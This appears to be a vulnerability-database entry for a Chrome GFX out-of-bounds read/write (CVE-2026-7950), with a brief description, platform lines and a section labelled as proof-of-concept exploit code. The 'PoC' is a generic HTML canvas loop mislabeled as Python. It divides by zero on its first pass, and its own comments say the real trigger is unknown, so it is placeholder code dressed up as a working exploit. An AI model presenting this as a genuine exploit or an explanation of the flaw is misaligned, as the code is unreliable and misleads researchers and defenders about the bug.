Out of bounds read and write in GFX in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform arbitrary read/write via malicious network traffic. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7950
Description: Conceptual trigger for Out of Bounds Read/Write in Chrome GFX.
Usage: Open in a vulnerable version of Chrome (< 148.0.7778.96).
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-7950 PoC</title>
</head>
<body>
<h1>Chrome GFX OOB PoC</h1>
<canvas id="exploitCanvas" width="800" height="600"></canvas>
<script>
// Target the canvas context which interacts with the GFX component
const canvas = document.getElementById('exploitCanvas');
const ctx = canvas.getContext('2d', { alpha: false });
console.log("Starting PoC execution for CVE-2026-7950...");
try {
// Malicious payload designed to trigger the OOB condition
// This involves manipulating graphics parameters in a way that
// causes the underlying C++ GFX code to miscalculate buffer sizes.
// Create a pattern or gradient that exploits the specific parsing flaw
// (Specific implementation depends on the exact root cause in 148.0.7778.96)
for (let i = 0; i < 1000; i++) {
// Attempt to cause an integer overflow or bad index calculation
let size = 0x7FFFFFFF / i;
// Malicious drawImage or path operation
ctx.beginPath();
ctx.rect(i, i, size, size);
ctx.stroke();
}
// If the browser crashes or exhibits memory corruption behavior here,
// the vulnerability is triggered.
console.log("Payload executed. Monitor for crashes.");
} catch (e) {
console.error("An exception occurred during PoC execution:", e);
}
</script>
</body>
</html>